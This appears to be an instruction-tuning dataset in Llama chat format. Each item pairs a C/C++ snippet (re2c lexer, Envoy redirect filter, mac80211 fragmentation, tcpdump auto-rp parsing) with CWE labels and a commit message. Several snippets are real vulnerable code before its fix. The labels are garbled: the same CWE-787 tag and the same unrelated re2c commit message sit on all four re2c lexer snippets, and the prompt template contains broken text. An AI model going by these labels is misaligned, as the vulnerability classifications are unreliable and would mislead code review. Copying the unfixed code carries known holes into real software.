(unsigned char)*++cur; if (yych == 't') goto yy84; goto yy14; yy68: yych = (unsigned char)*++cur; if (yych == 'e') goto yy85; goto yy14; yy69: yych = (unsigned char)*++cur; if (yych == 'r') goto yy86; goto yy14; yy70: yych = (unsigned char)*++cur; if (yych == 'u') goto yy87; goto yy14; yy71: yych = (unsigned char)*++cur; if (yych == 'l') goto yy88; goto yy14; yy72: yych = (unsigned char)*++cur; if (yych == 'r') goto yy89; goto yy14; yy73: yych = (unsigned char)*++cur; if (yych == 'm') goto yy90; goto yy14; yy74: yych = (unsigned char)*++cur; if (yych == 's') goto yy91; goto yy14; yy75: ++cur; #line 152 "../src/parse/lex.re" { out.wraw(tok, ptr); if (!lex_opt_name(block_name)) return INPUT_ERROR; if (block_name == "local") { msg.error(cur_loc(), "ill-formed local block, expected `local:re2c`"); return INPUT_ERROR; } return INPUT_GLOBAL; } #line 488 "src/parse/lex.cc" yy77: yych = (unsigned char)*++cur; if (yych == 's') goto yy92; goto yy14; yy78: yych = (unsigned char)*++cur; if (yych == 's') goto yy93; goto yy14; yy79: yych = (unsigned char)*++cur; if (yych == 's') goto yy94; goto yy14; yy80: yych = (unsigned char)*++cur; if (yych == 'r') goto yy95; goto yy14; yy81: ++cur; if ((lim - cur) < 2) { if (!fill(2)) { error("unexpected end of input"); exit(1); } } yych = (unsigned char)*cur; if (yybm[0+yych] & 64) { goto yy81; } if (yych <= '\f') { if (yych <= 0x08) goto yy14; if (yych <= '\t') goto yy96; if (yych <= '\n') goto yy98; goto yy14; } else { if (yych <= '\r') goto yy100; if (yych == ' ') goto yy96; goto yy14; } yy83: yych = (unsigned char)*++cur; if (yych == 't') goto yy101; goto yy14; yy84: yych = (unsigned char)*++cur; if (yych == 'a') goto yy102; goto yy14; yy85: yych = (unsigned char)*++cur; if (yych == 'r') goto yy103; goto yy14; yy86: yych = (unsigned char)*++cur; if (yych == 'e') goto yy104; goto yy14; yy87: yych = (unsigned char)*++cur; if (yych == 'd') goto yy105; goto yy14; yy88: yych = (unsigned char)*++cur; if (yych == ':') goto yy106; goto yy14; yy89: yych = (unsigned char)*++cur; if (yych == 'e') goto yy107; goto yy14; yy90: yych = (unsigned char)*++cur; if (yych == 'a') goto yy108; goto yy14; yy91: yych = (unsigned char)*++cur; if (yych == ':') goto yy109; goto yy14; yy92: yych = (unsigned char)*++cur; if (yych == ':') goto yy110; goto yy14; yy93: yych = (unsigned char)*++cur; if (yych == ':') goto yy111; goto yy14; yy94: yych = (unsigned char)*++cur; if (yych == ':') goto yy112; goto yy14; yy95: yych = (unsigned char)*++cur; if (yych == 'e') goto yy113; goto yy14; yy96: ++cur; if (lim <= cur) { if (!fill(1)) { error("unexpected end of input"); exit(1); } } yych = (unsigned char)*cur; if (yych <= 0x1F) { if (yych == '\t') goto yy96; goto yy14; } else { if (yych <= ' ') goto yy96; if (yych == '"') goto yy114; goto yy14; } yy98: ++cur; cur = yyt1; #line 281 "../src/parse/lex.re" { out.wraw(tok, ptr); out.wdelay_stmt(0, code_newline(alc)); set_sourceline(); goto next; } #line 596 "src/parse/lex.cc" yy100: yych = (unsigned char)*++cur; if (yych == '\n') goto yy98; goto yy14; yy101: yych = (unsigned char)*++cur; if (yych == 'i') goto yy116; goto yy14; yy102: yych = (unsigned char)*++cur; if (yych == 't') goto yy117; goto yy14; yy103: yych = (unsigned char)*++cur; if (yych == ':') goto yy118; goto yy14; yy104: yych = (unsigned char)*++cur; if (yych == ':') goto yy119; goto yy14; yy105: yych = (unsigned char)*++cur; if (yych == 'e') goto yy120; goto yy14; yy106: yych = (unsigned char)*++cur; if (yych == 'r') goto yy121; goto yy14; yy107: yych = (unsigned char)*++cur; if (yych == '2') goto yy122; goto yy14; yy108: yych = (unsigned char)*++cur; if (yych == 't') goto yy123; goto yy14; yy109: yych = (unsigned char)*++cur; if (yych == 'r') goto yy124; goto yy14; yy110: yych = (unsigned char)*++cur; if (yych == 'r') goto yy125; goto yy14; yy111: yych = (unsigned char)*++cur; if (yych == 'r') goto yy126; goto yy14; yy112: yych = (unsigned char)*++cur; if (yych == 'r') goto yy127; goto yy14; yy113: yych = (unsigned char)*++cur; if (yych == '2') goto yy128; goto yy14; yy114: ++cur; if ((lim - cur) < 3) { if (!fill(3)) { error("unexpected end of input"); exit(1); } } yych = (unsigned char)*cur; if (yybm[0+yych] & 128) { goto yy114; } if (yych <= '\n') goto yy14; if (yych <= '"') goto yy129; goto yy130; yy116: yych = (unsigned char)*++cur; if (yych == 'o') goto yy131; goto yy14; yy117: yych = (unsigned char)*++cur; if (yych == 'e') goto yy132; goto yy14; yy118: yych = (unsigned char)*++cur; if (yych == 'r') goto yy133; goto yy14; yy119: yych = (unsigned char)*++cur; if (yych == 'r') goto yy134; goto yy14; yy120: yych = (unsigned char)*++cur; if (yych == ':') goto yy135; goto yy14; yy121: yych = (unsigned char)*++cur; if (yych == 'e') goto yy136; goto yy14; yy122: yych = (unsigned char)*++cur; if (yych == 'c') goto yy137; goto yy14; yy123: yych = (unsigned char)*++cur; if (yych == 'c') goto yy139; goto yy14; yy124: yych = (unsigned char)*++cur; if (yych == 'e') goto yy140; goto yy14; yy125: yych = (unsigned char)*++cur; if (yych == 'e') goto yy141; goto yy14; yy126: yych = (unsigned char)*++cur; if (yych == 'e') goto yy142; goto yy14; yy127: yych = (unsigned char)*++cur; if (yych == 'e') goto yy143; goto yy14; yy128: yych = (unsigned char)*++cur; if (yych == 'c') goto yy144; goto yy14; yy129: yych = (unsigned char)*++cur; if (yych == '\n') goto yy98; if (yych == '\r') goto yy100; goto yy14; yy130: ++cur; if (lim <= cur) { if (!fill(1)) { error("unexpected end of input"); exit(1); } } yych = (unsigned char)*cur; if (yych <= 0x00) goto yy14; if (yych == '\n') goto yy14; goto yy114; yy131: yych = (unsigned char)*++cur; if (yych == 'n') goto yy79; goto yy14; yy132: yych = (unsigned char)*++cur; if (yych == ':') goto yy146; goto yy14; yy133: yych = (unsigned char)*++cur; if (yych == 'e') goto yy147; goto yy14; yy134: yych = (unsigned char)*++cur; if (yych == 'e') goto yy148; goto yy14; yy135: yych = (unsigned char)*++cur; if (yych == 'r') goto yy149; goto yy14; yy136: yych = (unsigned char)*++cur; if (yych == '2') goto yy150; goto yy14; yy137: ++cur; #line 180 "../src/parse/lex.re" { if (!lex_block(out, CODE_MAXFILL, 0, DCONF_FORMAT)) return INPUT_ERROR; goto next; } #line 758 "src/parse/lex.cc" yy139: yych = (unsigned char)*++cur; if (yych == 'h') goto yy151; goto yy14; yy140: yych = (unsigned char)*++cur; if (yych == '2') goto yy152; goto yy14; yy141: yych = (unsigned char)*++cur; if (yych == '2') goto yy153; goto yy14; yy142: yych = (unsigned char)*++cur; if (yych == '2') goto yy154; goto yy14; yy143: yych = (unsigned char)*++cur; if (yych == '2') goto yy155; goto yy14; yy144: ++cur; #line 174 "../src/parse/lex.re" { out.wraw(tok, ptr); if (!lex_opt_name(block_name)) return INPUT_ERROR; return INPUT_USE; } #line 787 "src/parse/lex.cc" yy146: yych = (unsigned char)*++cur; if (yych == 'r') goto yy156; goto yy14; yy147: yych = (unsigned char)*++cur; if (yych == '2') goto yy157; goto yy14; yy148: yych = (unsigned char)*++cur; if (yych == '2') goto yy158; goto yy14; yy149: yych = (unsigned char)*++cur; if (yych == 'e') goto yy159; goto yy14; yy150: yych = (unsigned char)*++cur; if (yych == 'c') goto yy160; goto yy14; yy151: yych = (unsigned char)*++cur; if (yych == ':') goto yy162; goto yy14; yy152: yych = (unsigned char)*++cur; if (yych == 'c') goto yy163; goto yy14; yy153: yych = (unsigned char)*++cur; if (yych == 'c') goto yy165; goto yy14; yy154: yych = (unsigned char)*++cur; if (yych == 'c') goto yy167; goto yy14; yy155: yych = (unsigned char)*++cur; if (yych == 'c') goto yy169; goto yy14; yy156: yych = (unsigned char)*++cur; if (yych == 'e') goto yy171; goto yy14; yy157: yych = (unsigned char)*++cur; if (yych == 'c') goto yy172; goto yy14; yy158: yych = (unsigned char)*++cur; if (yych == 'c') goto yy174; goto yy14; yy159: yych = (unsigned char)*++cur; if (yych == '2') goto yy176; goto yy14; yy160: ++cur; #line 162 "../src/parse/lex.re" { out.wraw(tok, ptr); if (!lex_opt_name(block_name)) return INPUT_ERROR; return INPUT_LOCAL; } #line 852 "src/parse/lex.cc" yy162: yych = (unsigned char)*++cur; if (yych == 'r') goto yy177; goto yy14; yy163: ++cur; #line 196 "../src/parse/lex.re" { uint32_t allow = DCONF_FORMAT | DCONF_SEPARATOR; if (!lex_block(out, CODE_MTAGS, 0, allow)) return INPUT_ERROR; goto next; } #line 865 "src/parse/lex.cc" yy165: ++cur; #line 168 "../src/parse/lex.re" { out.wraw(tok, ptr); if (!lex_opt_name(block_name)) return INPUT_ERROR; return INPUT_RULES; } #line 874 "src/parse/lex.cc" yy167: ++cur; #line 190 "../src/parse/lex.re" { uint32_t allow = DCONF_FORMAT | DCONF_SEPARATOR; if (!lex_block(out, CODE_STAGS, 0, allow)) return INPUT_ERROR; goto next; } #line 883 "src/parse/lex.cc" yy169: ++cur; #line 202 "../src/parse/lex.re" { out.cond_enum_autogen = false; out.warn_condition_order = false; // see note [condition order] uint32_t allow = DCONF_FORMAT | DCONF_SEPARATOR; if (!lex_block(out, CODE_COND_ENUM, opts->topIndent, allow)) return INPUT_ERROR; goto next; } #line 894 "src/parse/lex.cc" yy171: yych = (unsigned char)*++cur; if (yych == '2') goto yy178; goto yy14; yy172: yyaccept = 2; yych = (unsigned char)*(mar = ++cur); if (yych == ':') goto yy179; yy173: #line 241 "../src/parse/lex.re" { msg.error(cur_loc(), "ill-formed header directive: expected" " `/*!header:re2c:<on|off>` followed by a space, a newline or the" " end of block `*" "/`"); return INPUT_ERROR; } #line 911 "src/parse/lex.cc" yy174: yyaccept = 3; yych = (unsigned char)*(mar = ++cur); if (yych <= '\r') { if (yych <= 0x08) goto yy175; if (yych <= '\n') { yyt1 = cur; goto yy180; } if (yych >= '\r') { yyt1 = cur; goto yy180; } } else { if (yych <= ' ') { if (yych >= ' ') { yyt1 = cur; goto yy180; } } else { if (yych == '*') { yyt1 = cur; goto yy182; } } } yy175: #line 267 "../src/parse/lex.re" { msg.error(cur_loc(), "ill-formed start of `ignore:re2c` block: expected" " a space, a newline, or the end of block `*" "/`"); return INPUT_ERROR; } #line 945 "src/parse/lex.cc" yy176: yych = (unsigned char)*++cur; if (yych == 'c') goto yy183; goto yy14; yy177: yych = (unsigned char)*++cur; if (yych == 'e') goto yy185; goto yy14; yy178: yych = (unsigned char)*++cur; if (yych == 'c') goto yy186; goto yy14; yy179: yych = (unsigned char)*++cur; if (yych == 'o') goto yy188; goto yy14; yy180: ++cur; cur = yyt1; #line 261 "../src/parse/lex.re" { out.wraw(tok, ptr); // allows arbitrary garbage before the end of the comment if (!lex_block_end(out, true)) return INPUT_ERROR; goto next; } #line 972 "src/parse/lex.cc" yy182: yych = (unsigned char)*++cur; if (yych == '/') goto yy180; goto yy14; yy183: yyaccept = 4; yych = (unsigned char)*(mar = ++cur); if (yych == '\t') goto yy189; if (yych == ' ') goto yy189; yy184: #line 255 "../src/parse/lex.re" { msg.error(cur_loc(), "ill-formed include directive: expected" " `/*!include:re2c \"<file>\" *" "/`"); return INPUT_ERROR; } #line 989 "src/parse/lex.cc" yy185: yych = (unsigned char)*++cur; if (yych == '2') goto yy191; goto yy14; yy186: ++cur; #line 210 "../src/parse/lex.re" { out.state_goto = true; if (!opts->fFlag) { msg.error(cur_loc(), "`getstate:re2c` without `-f --storable-state` option"); return INPUT_ERROR; } if (opts->loop_switch) { msg.error(cur_loc(), "`getstate:re2c` is incompatible with the --loop-switch " "option, as it requires cross-block transitions that are unsupported " "without the `goto` statement"); return INPUT_ERROR; } if (!lex_block(out, CODE_STATE_GOTO, opts->topIndent, 0)) return INPUT_ERROR; goto next; } #line 1012 "src/parse/lex.cc" yy188: yych = (unsigned char)*++cur; if (yych == 'f') goto yy192; if (yych == 'n') goto yy193; goto yy14; yy189: ++cur; if (lim <= cur) { if (!fill(1)) { error("unexpected end of input"); exit(1); } } yych = (unsigned char)*cur; if (yych <= 0x1F) { if (yych == '\t') goto yy189; goto yy14; } else { if (yych <= ' ') goto yy189; if (yych == '"') { yyt1 = cur; goto yy195; } goto yy14; } yy191: yych = (unsigned char)*++cur; if (yych == 'c') goto yy197; goto yy14; yy192: yych = (unsigned char)*++cur; if (yych == 'f') goto yy199; goto yy14; yy193: ++cur; #line 226 "../src/parse/lex.re" { out.wraw(tok, ptr); out.header_mode(true); out.need_header = true; if (!lex_block_end(out)) return INPUT_ERROR; goto next; } #line 1051 "src/parse/lex.cc" yy195: ++cur; if ((lim - cur) < 3) { if (!fill(3)) { error("unexpected end of input"); exit(1); } } yych = (unsigned char)*cur; if (yych <= '!') { if (yych <= 0x00) goto yy14; if (yych == '\n') goto yy14; goto yy195; } else { if (yych <= '"') goto yy201; if (yych == '\\') goto yy202; goto yy195; } yy197: ++cur; #line 185 "../src/parse/lex.re" { if (!lex_block(out, CODE_MAXNMATCH, 0, DCONF_FORMAT)) return INPUT_ERROR; goto next; } #line 1072 "src/parse/lex.cc" yy199: ++cur; #line 234 "../src/parse/lex.re" { out.wraw(tok, ptr); out.header_mode(false); out.wdelay_stmt(0, code_line_info_input(alc, cur_loc())); if (!lex_block_end(out)) return INPUT_ERROR; goto next; } #line 1083 "src/parse/lex.cc" yy201: yych = (unsigned char)*++cur; if (yych <= '\r') { if (yych <= 0x08) goto yy14; if (yych <= '\n') { yyt2 = cur; goto yy203; } if (yych <= '\f') goto yy14; yyt2 = cur; goto yy203; } else { if (yych <= ' ') { if (yych <= 0x1F) goto yy14; yyt2 = cur; goto yy203; } else { if (yych == '*') { yyt2 = cur; goto yy205; } goto yy14; } } yy202: ++cur; if (lim <= cur) { if (!fill(1)) { error("unexpected end of input"); exit(1); } } yych = (unsigned char)*cur; if (yych <= 0x00) goto yy14; if (yych == '\n') goto yy14; goto yy195; yy203: ++cur; x = yyt1; cur = yyt2; y = yyt2; #line 248 "../src/parse/lex.re" { out.wraw(tok, ptr); if (!lex_block_end(out)) return INPUT_ERROR; include(getstr(x + 1, y - 1), ptr); out.wdelay_stmt(0, code_line_info_input(alc, cur_loc())); goto next; } #line 1128 "src/parse/lex.cc" yy205: yych = (unsigned char)*++cur; if (yych == '/') goto yy203; goto yy14; } #line 294 "../src/parse/lex.re" } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Emit an error when repetition lower bound exceeds upper bound. Historically this was allowed and re2c swapped the bounds. However, it most likely indicates an error in user code and there is only a single occurrence in the tests (and the test in an artificial one), so although the change is backwards incompatible there is low chance of breaking real-world code. This fixes second test case in the bug #394 "Stack overflow due to recursion in src/dfa/dead_rules.cc" (the actual fix is to limit DFA size but the test also has counted repetition with swapped bounds).'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: switch (yych) { case 'a': goto yy46; default: goto yy41; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Emit an error when repetition lower bound exceeds upper bound. Historically this was allowed and re2c swapped the bounds. However, it most likely indicates an error in user code and there is only a single occurrence in the tests (and the test in an artificial one), so although the change is backwards incompatible there is low chance of breaking real-world code. This fixes second test case in the bug #394 "Stack overflow due to recursion in src/dfa/dead_rules.cc" (the actual fix is to limit DFA size but the test also has counted repetition with swapped bounds).'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: void Scanner::lex_string(char delim) { loop: #line 3637 "src/parse/lex.cc" { unsigned char yych; if ((lim - cur) < 2) { if (!fill(2)) { error("unexpected end of input"); exit(1); } } yych = (unsigned char)*cur; if (yych <= '!') { if (yych <= '\n') { if (yych <= 0x00) goto yy540; if (yych <= '\t') goto yy542; goto yy544; } else { if (yych == '\r') goto yy546; goto yy542; } } else { if (yych <= '\'') { if (yych <= '"') goto yy547; if (yych <= '&') goto yy542; goto yy547; } else { if (yych == '\\') goto yy549; goto yy542; } } yy540: ++cur; #line 711 "../src/parse/lex.re" { fail_if_eof(); goto loop; } #line 3665 "src/parse/lex.cc" yy542: ++cur; yy543: #line 712 "../src/parse/lex.re" { goto loop; } #line 3671 "src/parse/lex.cc" yy544: ++cur; #line 710 "../src/parse/lex.re" { next_line(); goto loop; } #line 3676 "src/parse/lex.cc" yy546: yych = (unsigned char)*++cur; if (yych == '\n') goto yy544; goto yy543; yy547: ++cur; #line 708 "../src/parse/lex.re" { if (cur[-1] == delim) return; else goto loop; } #line 3685 "src/parse/lex.cc" yy549: yych = (unsigned char)*++cur; if (yych <= '&') { if (yych != '"') goto yy543; } else { if (yych <= '\'') goto yy550; if (yych != '\\') goto yy543; } yy550: ++cur; #line 709 "../src/parse/lex.re" { goto loop; } #line 3698 "src/parse/lex.cc" } #line 713 "../src/parse/lex.re" } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Emit an error when repetition lower bound exceeds upper bound. Historically this was allowed and re2c swapped the bounds. However, it most likely indicates an error in user code and there is only a single occurrence in the tests (and the test in an artificial one), so although the change is backwards incompatible there is low chance of breaking real-world code. This fixes second test case in the bug #394 "Stack overflow due to recursion in src/dfa/dead_rules.cc" (the actual fix is to limit DFA size but the test also has counted repetition with swapped bounds).'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: switch (yych) { case 'a': goto yy43; default: goto yy41; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Emit an error when repetition lower bound exceeds upper bound. Historically this was allowed and re2c swapped the bounds. However, it most likely indicates an error in user code and there is only a single occurrence in the tests (and the test in an artificial one), so although the change is backwards incompatible there is low chance of breaking real-world code. This fixes second test case in the bug #394 "Stack overflow due to recursion in src/dfa/dead_rules.cc" (the actual fix is to limit DFA size but the test also has counted repetition with swapped bounds).'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: void Scanner::lex_cpp_comment() { loop: #line 3758 "src/parse/lex.cc" { unsigned char yych; if ((lim - cur) < 2) { if (!fill(2)) { error("unexpected end of input"); exit(1); } } yych = (unsigned char)*cur; if (yych <= '\n') { if (yych <= 0x00) goto yy566; if (yych <= '\t') goto yy568; goto yy570; } else { if (yych == '\r') goto yy572; goto yy568; } yy566: ++cur; #line 732 "../src/parse/lex.re" { fail_if_eof(); goto loop; } #line 3775 "src/parse/lex.cc" yy568: ++cur; yy569: #line 733 "../src/parse/lex.re" { goto loop; } #line 3781 "src/parse/lex.cc" yy570: ++cur; #line 731 "../src/parse/lex.re" { next_line(); return; } #line 3786 "src/parse/lex.cc" yy572: yych = (unsigned char)*++cur; if (yych == '\n') goto yy570; goto yy569; } #line 734 "../src/parse/lex.re" } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Emit an error when repetition lower bound exceeds upper bound. Historically this was allowed and re2c swapped the bounds. However, it most likely indicates an error in user code and there is only a single occurrence in the tests (and the test in an artificial one), so although the change is backwards incompatible there is low chance of breaking real-world code. This fixes second test case in the bug #394 "Stack overflow due to recursion in src/dfa/dead_rules.cc" (the actual fix is to limit DFA size but the test also has counted repetition with swapped bounds).'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: bool Filter::convertRequestHeadersForInternalRedirect(Http::RequestHeaderMap& downstream_headers, const Http::HeaderEntry& internal_redirect, uint64_t status_code) { if (!downstream_headers.Path()) { ENVOY_STREAM_LOG(trace, "no path in downstream_headers", *callbacks_); return false; } // Make sure the redirect response contains a URL to redirect to. if (internal_redirect.value().getStringView().empty()) { config_.stats_.passthrough_internal_redirect_bad_location_.inc(); return false; } Http::Utility::Url absolute_url; if (!absolute_url.initialize(internal_redirect.value().getStringView(), false)) { config_.stats_.passthrough_internal_redirect_bad_location_.inc(); return false; } const auto& policy = route_entry_->internalRedirectPolicy(); // Don't allow serving TLS responses over plaintext unless allowed by policy. const bool scheme_is_http = schemeIsHttp(downstream_headers, *callbacks_->connection()); const bool target_is_http = absolute_url.scheme() == Http::Headers::get().SchemeValues.Http; if (!policy.isCrossSchemeRedirectAllowed() && scheme_is_http != target_is_http) { config_.stats_.passthrough_internal_redirect_unsafe_scheme_.inc(); return false; } const StreamInfo::FilterStateSharedPtr& filter_state = callbacks_->streamInfo().filterState(); // Make sure that performing the redirect won't result in exceeding the configured number of // redirects allowed for this route. if (!filter_state->hasData<StreamInfo::UInt32Accessor>(NumInternalRedirectsFilterStateName)) { filter_state->setData( NumInternalRedirectsFilterStateName, std::make_shared<StreamInfo::UInt32AccessorImpl>(0), StreamInfo::FilterState::StateType::Mutable, StreamInfo::FilterState::LifeSpan::Request); } StreamInfo::UInt32Accessor& num_internal_redirect = filter_state->getDataMutable<StreamInfo::UInt32Accessor>(NumInternalRedirectsFilterStateName); if (num_internal_redirect.value() >= policy.maxInternalRedirects()) { config_.stats_.passthrough_internal_redirect_too_many_redirects_.inc(); return false; } // Copy the old values, so they can be restored if the redirect fails. const std::string original_host(downstream_headers.getHostValue()); const std::string original_path(downstream_headers.getPathValue()); const bool scheme_is_set = (downstream_headers.Scheme() != nullptr); Cleanup restore_original_headers( [&downstream_headers, original_host, original_path, scheme_is_set, scheme_is_http]() { downstream_headers.setHost(original_host); downstream_headers.setPath(original_path); if (scheme_is_set) { downstream_headers.setScheme(scheme_is_http ? Http::Headers::get().SchemeValues.Http : Http::Headers::get().SchemeValues.Https); } }); // Replace the original host, scheme and path. downstream_headers.setScheme(absolute_url.scheme()); downstream_headers.setHost(absolute_url.hostAndPort()); auto path_and_query = absolute_url.pathAndQueryParams(); if (Runtime::runtimeFeatureEnabled("envoy.reloadable_features.http_reject_path_with_fragment")) { // Envoy treats internal redirect as a new request and will reject it if URI path // contains #fragment. However the Location header is allowed to have #fragment in URI path. To // prevent Envoy from rejecting internal redirect, strip the #fragment from Location URI if it // is present. auto fragment_pos = path_and_query.find('#'); path_and_query = path_and_query.substr(0, fragment_pos); } downstream_headers.setPath(path_and_query); callbacks_->clearRouteCache(); const auto route = callbacks_->route(); // Don't allow a redirect to a non existing route. if (!route) { config_.stats_.passthrough_internal_redirect_no_route_.inc(); return false; } const auto& route_name = route->routeEntry()->routeName(); for (const auto& predicate : policy.predicates()) { if (!predicate->acceptTargetRoute(*filter_state, route_name, !scheme_is_http, !target_is_http)) { config_.stats_.passthrough_internal_redirect_predicate_.inc(); ENVOY_STREAM_LOG(trace, "rejecting redirect targeting {}, by {} predicate", *callbacks_, route_name, predicate->name()); return false; } } // See https://tools.ietf.org/html/rfc7231#section-6.4.4. if (status_code == enumToInt(Http::Code::SeeOther) && downstream_headers.getMethodValue() != Http::Headers::get().MethodValues.Get && downstream_headers.getMethodValue() != Http::Headers::get().MethodValues.Head) { downstream_headers.setMethod(Http::Headers::get().MethodValues.Get); downstream_headers.remove(Http::Headers::get().ContentLength); callbacks_->modifyDecodingBuffer([](Buffer::Instance& data) { data.drain(data.length()); }); } num_internal_redirect.increment(); restore_original_headers.cancel(); // Preserve the original request URL for the second pass. downstream_headers.setEnvoyOriginalUrl(absl::StrCat(scheme_is_http ? Http::Headers::get().SchemeValues.Http : Http::Headers::get().SchemeValues.Https, "://", original_host, original_path)); return true; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-703'], 'message': '[1.18] CVE-2022-21655 Crash with direct_response Signed-off-by: Otto van der Schaaf <ovanders@redhat.com>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static int ieee80211_fragment(struct ieee80211_tx_data *tx, struct sk_buff *skb, int hdrlen, int frag_threshold) { struct ieee80211_local *local = tx->local; struct ieee80211_tx_info *info; struct sk_buff *tmp; int per_fragm = frag_threshold - hdrlen - FCS_LEN; int pos = hdrlen + per_fragm; int rem = skb->len - hdrlen - per_fragm; if (WARN_ON(rem < 0)) return -EINVAL; /* first fragment was already added to queue by caller */ while (rem) { int fraglen = per_fragm; if (fraglen > rem) fraglen = rem; rem -= fraglen; tmp = dev_alloc_skb(local->tx_headroom + frag_threshold + tx->sdata->encrypt_headroom + IEEE80211_ENCRYPT_TAILROOM); if (!tmp) return -ENOMEM; __skb_queue_tail(&tx->skbs, tmp); skb_reserve(tmp, local->tx_headroom + tx->sdata->encrypt_headroom); /* copy control information */ memcpy(tmp->cb, skb->cb, sizeof(tmp->cb)); info = IEEE80211_SKB_CB(tmp); info->flags &= ~(IEEE80211_TX_CTL_CLEAR_PS_FILT | IEEE80211_TX_CTL_FIRST_FRAGMENT); if (rem) info->flags |= IEEE80211_TX_CTL_MORE_FRAMES; skb_copy_queue_mapping(tmp, skb); tmp->priority = skb->priority; tmp->dev = skb->dev; /* copy header and data */ memcpy(skb_put(tmp, hdrlen), skb->data, hdrlen); memcpy(skb_put(tmp, fraglen), skb->data + pos, fraglen); pos += fraglen; } /* adjust first fragment's length */ skb->len = hdrlen + per_fragm; return 0; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-200'], 'message': 'mac80211: fix fragmentation code, particularly for encryption The "new" fragmentation code (since my rewrite almost 5 years ago) erroneously sets skb->len rather than using skb_trim() to adjust the length of the first fragment after copying out all the others. This leaves the skb tail pointer pointing to after where the data originally ended, and thus causes the encryption MIC to be written at that point, rather than where it belongs: immediately after the data. The impact of this is that if software encryption is done, then a) encryption doesn't work for the first fragment, the connection becomes unusable as the first fragment will never be properly verified at the receiver, the MIC is practically guaranteed to be wrong b) we leak up to 8 bytes of plaintext (!) of the packet out into the air This is only mitigated by the fact that many devices are capable of doing encryption in hardware, in which case this can't happen as the tail pointer is irrelevant in that case. Additionally, fragmentation is not used very frequently and would normally have to be configured manually. Fix this by using skb_trim() properly. Cc: stable@vger.kernel.org Fixes: 2de8e0d999b8 ("mac80211: rewrite fragmentation") Reported-by: Jouni Malinen <j@w1.fi> Signed-off-by: Johannes Berg <johannes.berg@intel.com>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: cisco_autorp_print(netdissect_options *ndo, register const u_char *bp, register u_int len) { int type; int numrps; int hold; ND_TCHECK(bp[0]); ND_PRINT((ndo, " auto-rp ")); type = bp[0]; switch (type) { case 0x11: ND_PRINT((ndo, "candidate-advert")); break; case 0x12: ND_PRINT((ndo, "mapping")); break; default: ND_PRINT((ndo, "type-0x%02x", type)); break; } ND_TCHECK(bp[1]); numrps = bp[1]; ND_TCHECK2(bp[2], 2); ND_PRINT((ndo, " Hold ")); hold = EXTRACT_16BITS(&bp[2]); if (hold) unsigned_relts_print(ndo, EXTRACT_16BITS(&bp[2])); else ND_PRINT((ndo, "FOREVER")); /* Next 4 bytes are reserved. */ bp += 8; len -= 8; /*XXX skip unless -v? */ /* * Rest of packet: * numrps entries of the form: * 32 bits: RP * 6 bits: reserved * 2 bits: PIM version supported, bit 0 is "supports v1", 1 is "v2". * 8 bits: # of entries for this RP * each entry: 7 bits: reserved, 1 bit: negative, * 8 bits: mask 32 bits: source * lather, rinse, repeat. */ while (numrps--) { int nentries; char s; ND_TCHECK2(bp[0], 4); ND_PRINT((ndo, " RP %s", ipaddr_string(ndo, bp))); ND_TCHECK(bp[4]); switch (bp[4] & 0x3) { case 0: ND_PRINT((ndo, " PIMv?")); break; case 1: ND_PRINT((ndo, " PIMv1")); break; case 2: ND_PRINT((ndo, " PIMv2")); break; case 3: ND_PRINT((ndo, " PIMv1+2")); break; } if (bp[4] & 0xfc) ND_PRINT((ndo, " [rsvd=0x%02x]", bp[4] & 0xfc)); ND_TCHECK(bp[5]); nentries = bp[5]; bp += 6; len -= 6; s = ' '; for (; nentries; nentries--) { ND_TCHECK2(bp[0], 6); ND_PRINT((ndo, "%c%s%s/%d", s, bp[0] & 1 ? "!" : "", ipaddr_string(ndo, &bp[2]), bp[1])); if (bp[0] & 0x02) { ND_PRINT((ndo, " bidir")); } if (bp[0] & 0xfc) { ND_PRINT((ndo, "[rsvd=0x%02x]", bp[0] & 0xfc)); } s = ','; bp += 6; len -= 6; } } return; trunc: ND_PRINT((ndo, "[|autorp]")); return; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': 'CVE-2017-13030/PIM: Redo bounds checks and add length checks. Use ND_TCHECK macros to do bounds checking, and add length checks before the bounds checks. Add a bounds check that the review process found was missing. This fixes a buffer over-read discovered by Bhargava Shastry, SecT/TU Berlin. Add a test using the capture file supplied by the reporter(s), modified so the capture file won't be rejected as an invalid capture. Update one test output file to reflect the changes.'</s>
